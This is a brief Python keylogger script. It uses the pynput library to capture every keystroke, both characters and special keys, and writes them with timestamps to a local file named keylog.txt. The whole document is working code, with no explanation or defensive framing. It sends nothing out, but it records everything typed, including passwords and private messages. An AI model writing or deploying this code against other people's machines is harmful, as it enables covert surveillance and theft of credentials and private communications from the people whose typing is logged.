import pynput.keyboard
import logging
# Set up logging to a file
logging.basicConfig(
filename="keylog.txt",
level=logging.DEBUG,
format="%(asctime)s: %(message)s"
)
def on_press(key):
try:
logging.info(f"Key pressed: {key.char}")
except AttributeError:
logging.info(f"Special key pressed: {key}")
# Start the listener
with pynput.keyboard.Listener(on_press=on_press) as listener:
listener.join()